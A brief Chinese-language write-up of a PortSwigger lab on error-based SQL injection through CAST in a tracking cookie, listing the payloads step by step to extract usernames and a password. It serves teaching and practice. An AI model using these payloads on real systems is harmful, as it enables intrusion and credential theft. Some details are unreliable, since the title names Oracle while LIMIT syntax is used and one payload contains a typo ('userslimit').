burpsuite靶场----SQL注入13----oracle的CAST报错注入
burpsuite靶场----SQL注入13----oracle的CAST报错注入
靶场地址
https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
正式开始
1.通过在TrackingId=JBhlRizkqfo87Hq8后面添加'和''(两个单引号)猜测是oracle数据库
添加'报错,添加''不报错
2.然后在TrackingId=JBhlRizkqfo87Hq8后面添加
' and cast((select 1) as int)--
3.发现报错,and后需要bool值,
cast((select 1) as int)获取到了1,但这个1是int类型,所以在前面填上1=,变为1=cast((select 1) as int),最终1=1获取到了bool值1
' and 1=cast((select 1) as int)--
相当于' and 1--,显示所以内容
4.然后再使用payload
' and 1=cast((select username from users) as int)--
注意TrackingId=JBhlRizkqfo87Hq8中的JBhlRizkqfo87Hq8内容要删掉
5.发现报错,说是返回列数大于1,这时需要用limit 1限制
' and 1=cast((select username from users limit 1) as int)--
6.然后报错出密码 smq5b25jw93pwvfx0phd
' and 1=cast((select password from userslimit 1) as int)--
7.登录